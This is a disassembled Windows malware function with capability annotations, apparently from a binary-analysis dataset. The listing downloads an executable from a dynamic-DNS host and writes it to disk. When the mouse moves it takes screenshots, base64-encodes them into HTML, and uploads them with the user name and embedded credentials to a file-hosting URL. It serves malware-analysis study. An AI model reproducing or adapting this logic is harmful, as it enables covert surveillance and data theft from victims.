Function at 0x643415a0
Capabilities:
Check for unmoving mouse cursor
Contain obfuscated stackstrings
Delete file
Get file size
Get session user name
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2ec
mov dword [ebp - 0x294], 0x6435fbf0
mov dword [ebp - 0x290], 0x64360284
lea eax, [ebp - 0x28c]
lea esi, [ebp - 0x18]
mov dword [eax], esi
mov edx, 0x64342488
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x2ac]
mov dword [esp], eax
call fcn.643501d0
mov dword [esp], 0x57e40
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x2a8], 0xffffffff
call eax
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.ole32.dll_CoInitialize]
call eax
sub esp, 4
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x90]
mov dword [esp + 4], eax
mov dword [esp], str.MSXML2.ServerXMLHTTP
mov eax, dword [sym.imp.ole32.dll_CLSIDFromProgID]
call eax
sub esp, 8
lea eax, [ebp - 0x94]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym.a.cpl_IID_IXMLHttpRequest
mov dword [esp + 8], 1
mov dword [esp + 4], 0
lea eax, [ebp - 0x90]
mov dword [esp], eax
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
sub esp, 0x14
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xa8]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantInit]
call eax
sub esp, 4
mov word [ebp - 0xa8], 0xb
mov word [ebp - 0xa0], 0
lea eax, [ebp - 0xd8]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantInit]
call eax
sub esp, 4
mov word [ebp - 0xd8], 8
mov dword [ebp - 0xd0], 0
lea eax, [ebp - 0xe8]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantInit]
call eax
sub esp, 4
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
add eax, 0x1c
mov ecx, dword [eax]
mov eax, dword [ebp - 0x94]
mov edx, dword [ebp - 0xc8]
mov dword [esp + 0x2c], edx
mov edx, dword [ebp - 0xc4]
mov dword [esp + 0x30], edx
mov edx, dword [ebp - 0xc0]
mov dword [esp + 0x34], edx
mov edx, dword [ebp - 0xbc]
mov dword [esp + 0x38], edx
mov edx, dword [ebp - 0xb8]
mov dword [esp + 0x1c], edx
mov edx, dword [ebp - 0xb4]
mov dword [esp + 0x20], edx
mov edx, dword [ebp - 0xb0]
mov dword [esp + 0x24], edx
mov edx, dword [ebp - 0xac]
mov dword [esp + 0x28], edx
mov edx, dword [ebp - 0xa8]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0xa4]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0xa0]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x9c]
mov dword [esp + 0x18], edx
mov dword [esp + 8], str.http:__cequetuveux.ddns.net
mov dword [esp + 4], 0x64366064
mov dword [esp], eax
call ecx
sub esp, 0x3c
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
add eax, 0x2c
mov ecx, dword [eax]
mov eax, dword [ebp - 0x94]
mov edx, dword [ebp - 0xd8]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0xd4]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0xd0]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0xcc]
mov dword [esp + 0x10], edx
mov dword [esp], eax
call ecx
sub esp, 0x14
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
add eax, 0x48
mov ecx, dword [eax]
mov eax, dword [ebp - 0x94]
lea edx, [ebp - 0xe8]
mov dword [esp + 4], edx
mov dword [esp], eax
call ecx
sub esp, 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
js 0x64341996
mov dword [ebp - 0xec], 0
mov word [ebp - 0xf1], 0x5a4d
mov byte [ebp - 0xef], 0
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
lea edx, [ebp - 0xec]
mov dword [esp + 8], edx
mov dword [esp + 4], sym.a.cpl_IID_IStream
mov dword [esp], eax
call ecx
sub esp, 0xc
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
add eax, 0xc
mov edx, dword [eax]
mov eax, dword [ebp - 0xec]
mov ecx, eax
lea eax, [ebp - 0xf8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
lea eax, [ebp - 0xee]
mov dword [esp + 4], eax
mov dword [esp], ecx
call edx
sub esp, 0x10
mov dword [esp + 8], 2
lea eax, [ebp - 0xf1]
mov dword [esp + 4], eax
lea eax, [ebp - 0xee]
mov dword [esp], eax
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x64341996
mov dword [esp + 8], 1
mov dword [esp + 4], str.a.cpl
mov dword [esp], sym.a.cpl_path
mov eax, dword [sym.imp.KERNEL32.dll_MoveFileExA]
call eax
sub esp, 0xc
test eax, eax
setne al
test al, al
je 0x64341996
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov dword [esp], sym.a.cpl_path
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x20], eax
jmp 0x6434196e
mov eax, dword [ebp - 0xf8]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0xfc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
lea eax, [ebp - 0xee]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x2a8], 0xffffffff
call eax
sub esp, 0x14
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
add eax, 0xc
mov edx, dword [eax]
mov eax, dword [ebp - 0xec]
mov ecx, eax
lea eax, [ebp - 0xf8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
lea eax, [ebp - 0xee]
mov dword [esp + 4], eax
mov dword [esp], ecx
call edx
sub esp, 0x10
mov eax, dword [ebp - 0xf8]
test eax, eax
jne 0x643418f5
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x2a8], 0xffffffff
call eax
sub esp, 4
mov eax, dword [sym.a.cpl_n]
cmp eax, 0xf
jle 0x64342468
mov dword [sym.a.cpl_n], 0
jmp 0x64341e09
mov dword [esp], sym.a.cpl_cu
mov eax, dword [sym.imp.USER32.dll_GetCursorPos]
mov dword [ebp - 0x2a8], 0xffffffff
call eax
sub esp, 4
mov eax, dword [sym.a.cpl_cu]
mov dword [ebp - 0x24], eax
mov eax, dword [0x6436fd04]
mov dword [ebp - 0x28], eax
mov dword [esp], sym.a.cpl_cu2
mov eax, dword [sym.imp.USER32.dll_GetCursorPos]
call eax
sub esp, 4
mov eax, dword [sym.a.cpl_cu2]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x6436fd0c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x2c]
jne 0x64341a13
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x30]
je 0x64341e09
lea eax, [ebp - 0x110]
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov ecx, eax
call method.Gdiplus::GdiplusStartupInput.GdiplusStartupInput_void__int__int_
sub esp, 0xc
mov dword [esp + 8], 0
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
lea eax, [ebp - 0x100]
mov dword [esp], eax
mov dword [ebp - 0x2a8], 0xffffffff
call sub.gdiplus.dll_GdiplusStartup
sub esp, 0xc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.DISPLAY
mov eax, dword [sym.imp.GDI32.dll_CreateDCA]
call eax
sub esp, 0x10
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
call eax
sub esp, 4
mov dword [ebp - 0x38], eax
mov dword [esp + 4], 8
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_GetDeviceCaps]
call eax
sub esp, 8
mov dword [ebp - 0x3c], eax
mov dword [esp + 4], 0xa
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_GetDeviceCaps]
call eax
sub esp, 8
mov dword [ebp - 0x40], eax
mov dword [esp + 4], 0xc
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_GetDeviceCaps]
call eax
sub esp, 8
mov dword [ebp - 0x44], eax
lea edx, [ebp - 0x254]
mov eax, 0
mov ecx, 0xb
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x254], 0x28
mov word [ebp - 0x248], 1
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x250], eax
mov eax, dword [ebp - 0x40]
neg eax
mov dword [ebp - 0x24c], eax
mov eax, dword [ebp - 0x44]
mov word [ebp - 0x246], ax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x114]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
lea eax, [ebp - 0x254]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_CreateDIBSection]
call eax
sub esp, 0x18
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_SaveDC]
call eax
sub esp, 4
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
call eax
sub esp, 8
mov dword [esp + 0x20], 0xcc0020
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_BitBlt]
call eax
sub esp, 0x24
mov dword [ebp - 0x128], 0x14
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetCursorInfo]
call eax
sub esp, 4
mov eax, dword [ebp - 0x120]
lea edx, [ebp - 0x13c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetIconInfo]
call eax
sub esp, 8
mov eax, dword [ebp - 0x11c]
mov edx, eax
mov eax, dword [ebp - 0x138]
sub edx, eax
mov eax, edx
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x118]
mov edx, eax
mov eax, dword [ebp - 0x134]
sub edx, eax
mov eax, edx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x120]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x54]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x50]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_DrawIcon]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_RestoreDC]
call eax
sub esp, 8
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteDC]
call eax
sub esp, 4
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteDC]
call eax
sub esp, 4
lea eax, [ebp - 0x14c]
mov dword [esp + 4], eax
mov dword [esp], str.557cf401_1a04_11d3_9a73_0000f81ef32e
mov eax, dword [sym.imp.ole32.dll_CLSIDFromString]
call eax
sub esp, 8
mov dword [esp], 0xc
call method.Gdiplus::GdiplusBase.operator_new_unsigned_int_
mov ecx, eax
mov dword [ebp - 0x2b0], ecx
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov dword [ebp - 0x2a8], 1
call method.Gdiplus::Bitmap.Bitmap_HBITMAP____HPALETTE___
sub esp, 8
mov eax, dword [ebp - 0x2b0]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x150], 0xa
mov dword [ebp - 0x274], 1
mov dword [ebp - 0x260], 1
mov eax, dword [sym.a.cpl_EncoderQuality]
mov dword [ebp - 0x270], eax
mov eax, dword [0x6436985c]
mov dword [ebp - 0x26c], eax
mov eax, dword [0x64369860]
mov dword [ebp - 0x268], eax
mov eax, dword [0x64369864]
mov dword [ebp - 0x264], eax
mov dword [ebp - 0x25c], 4
lea eax, [ebp - 0x150]
mov dword [ebp - 0x258], eax
mov dword [esp], 0x1e
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x5c], eax
mov eax, dword [sym.a.cpl_b]
mov dword [esp + 8], 0xa
mov edx, dword [ebp - 0x5c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__itow]
mov dword [ebp - 0x2a8], 0xffffffff
call eax
mov eax, dword [ebp - 0x58]
lea edx, [ebp - 0x274]
mov dword [esp + 8], edx
lea edx, [ebp - 0x14c]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x5c]
mov dword [esp], edx
mov ecx, eax
call method.Gdiplus::Image.Save_wchar_t_const___GUID_const__Gdiplus::EncoderParameters_const_
sub esp, 0xc
cmp dword [ebp - 0x58], 0
je 0x64341de2
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
add eax, 4
mov eax, dword [eax]
mov edx, dword [ebp - 0x58]
mov ecx, edx
call eax
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
mov dword [ebp - 0x2a8], 0xffffffff
call eax
sub esp, 4
mov eax, dword [sym.a.cpl_b]
add eax, 1
mov dword [sym.a.cpl_b], eax
mov eax, dword [sym.a.cpl_b]
cmp eax, 0x56
jle 0x643419b3
mov dword [sym.a.cpl_b], 0
mov dword [esp + 4], sym.a.cpl_nUserName
mov dword [esp], sym.a.cpl_UserName
mov eax, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x2a8], 0xffffffff
call eax
sub esp, 8
mov dword [esp], sym.a.cpl_st
mov eax, dword [sym.imp.KERNEL32.dll_GetLocalTime]
call eax
sub esp, 4
lea eax, [ebp - 0xb8]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantInit]
call eax
sub esp, 4
mov word [ebp - 0xb8], 8
mov dword [esp], str.stock0_netc.fr
mov eax, dword [sym.imp.OLEAUT32.dll_SysAllocString]
call eax
sub esp, 4
mov dword [ebp - 0xb0], eax
lea eax, [ebp - 0xc8]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantInit]
call eax
sub esp, 4
mov word [ebp - 0xc8], 8
mov dword [esp], str.stock0
mov eax, dword [sym.imp.OLEAUT32.dll_SysAllocString]
call eax
sub esp, 4
mov dword [ebp - 0xc0], eax
lea eax, [ebp - 0xd8]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantInit]
call eax
sub esp, 4
mov word [ebp - 0xd8], 8
mov dword [esp], 0x5b8d80
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x60], eax
jmp 0x643421b1
mov eax, dword [sym.a.cpl_b]
mov dword [esp + 8], 0xa
mov dword [esp + 4], sym.a.cpl_n1
mov dword [esp], eax
mov dword [ebp - 0x2a8], 0xffffffff
call sub.msvcrt.dll__itoa
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov dword [esp], sym.a.cpl_n1
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x64], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSize]
call eax
sub esp, 8
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call fcn.6435efa0
mov dword [ebp - 0x6c], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x154]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x68]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp], sym.a.cpl_n1
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call eax
sub esp, 4
mov eax, dword [ebp - 0x68]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call sym.a.cpl_BinToBase64_unsigned_char_const__unsigned_long_
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x6c], 0
je 0x64341ff6
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call fcn.6435ef80
mov dword [esp + 4], 0x643660f6
mov dword [esp], sym.a.cpl_n1
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x643420ca
mov dword [esp + 4], sym.a.cpl_n1
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov eax, dword [ebp - 0x60]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
mov eax, dword [ebp - 0x60]
add eax, edx
mov dword [eax], 0x676d693c
mov dword [eax + 4], 0x63727320
mov dword [eax + 8], 0x6164223d
mov dword [eax + 0xc], 0x693a6174
mov dword [eax + 0x10], 0x6567616d
mov dword [eax + 0x14], 0x65706a2f
mov dword [eax + 0x18], 0x61623b67
mov dword [eax + 0x1c], 0x34366573
mov word [eax + 0x20], 0x2c
mov eax, dword [ebp - 0x70]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov eax, dword [ebp - 0x60]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
mov eax, dword [ebp - 0x60]
add eax, edx
mov dword [eax], 0x2f3c3e22
mov dword [eax + 4], 0x6e617073
mov word [eax + 8], 0x3e
jmp 0x643421a4
mov eax, dword [ebp - 0x60]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
mov eax, dword [ebp - 0x60]
add eax, edx
mov dword [eax], 0x7266693c
mov dword [eax + 4], 0x20656d61
mov dword [eax + 8], 0x3d637273
mov dword [eax + 0xc], 0x74616422
mov dword [eax + 0x10], 0x65743a61
mov dword [eax + 0x14], 0x682f7478
mov dword [eax + 0x18], 0x3b6c6d74
mov dword [eax + 0x1c], 0x65736162
mov dword [eax + 0x20], 0x2c3436
mov eax, dword [ebp - 0x70]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov eax, dword [ebp - 0x60]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
mov eax, dword [ebp - 0x60]
add eax, edx
mov dword [eax], 0x64697722
mov dword [eax + 4], 0x223d6874
mov dword [eax + 8], 0x25303031
mov dword [eax + 0xc], 0x65682022
mov dword [eax + 0x10], 0x74686769
mov dword [eax + 0x14], 0x3031223d
mov dword [eax + 0x18], 0x3e222530
mov dword [eax + 0x1c], 0x66692f3c
mov dword [eax + 0x20], 0x656d6172
mov dword [eax + 0x24], 0x70733c3e
mov dword [eax + 0x28], 0x3e6e61
mov eax, dword [sym.a.cpl_b]
add eax, 1
mov dword [sym.a.cpl_b], eax
mov eax, dword [sym.a.cpl_b]
cmp eax, 0x56
jle 0x64341eeb
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x60]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x2a8], 0xffffffff
call eax
sub esp, 0x18
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.OLEAUT32.dll_SysAllocStringLen]
call eax
sub esp, 8
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
mov eax, dword [ebp - 0x74]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x78]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], edx
mov eax, dword [ebp - 0x60]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysAllocString]
call eax
sub esp, 4
mov dword [ebp - 0xd0], eax
movzx eax, word [0x6436fb8a]
movzx ebx, ax
movzx eax, word [0x6436fb88]
movzx ecx, ax
movzx eax, word [0x6436fb82]
movzx edx, ax
movzx eax, word [0x6436fb86]
movzx eax, ax
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym.a.cpl_UserName
mov dword [esp + 4], str.https:__disk.netcourrier.com__s__d__d__dh_d.htm
lea eax, [ebp - 0x254]
mov dword [esp], eax
call fcn.64341480
lea eax, [ebp - 0x254]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x254]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call eax
sub esp, 0x18
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.OLEAUT32.dll_SysAllocStringLen]
call eax
sub esp, 8
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x254]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
mov eax, dword [ebp - 0x7c]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x80]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], edx
lea eax, [ebp - 0x254]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
add eax, 0x1c
mov ecx, dword [eax]
mov eax, dword [ebp - 0x94]
mov edx, dword [ebp - 0xc8]
mov dword [esp + 0x2c], edx
mov edx, dword [ebp - 0xc4]
mov dword [esp + 0x30], edx
mov edx, dword [ebp - 0xc0]
mov dword [esp + 0x34], edx
mov edx, dword [ebp - 0xbc]
mov dword [esp + 0x38], edx
mov edx, dword [ebp - 0xb8]
mov dword [esp + 0x1c], edx
mov edx, dword [ebp - 0xb4]
mov dword [esp + 0x20], edx
mov edx, dword [ebp - 0xb0]
mov dword [esp + 0x24], edx
mov edx, dword [ebp - 0xac]
mov dword [esp + 0x28], edx
mov edx, dword [ebp - 0xa8]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0xa4]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0xa0]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x9c]
mov dword [esp + 0x18], edx
mov edx, dword [ebp - 0x80]
mov dword [esp + 8], edx
mov dword [esp + 4], 0x64366128
mov dword [esp], eax
call ecx
sub esp, 0x3c
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
add eax, 0x2c
mov ecx, dword [eax]
mov eax, dword [ebp - 0x94]
mov edx, dword [ebp - 0xd8]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0xd4]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0xd0]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0xcc]
mov dword [esp + 0x10], edx
mov dword [esp], eax
call ecx
sub esp, 0x14
mov dword [sym.a.cpl_b], 1
mov dword [esp], 0x64
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x2a8], 0xffffffff
call eax
sub esp, 4
jmp 0x64341996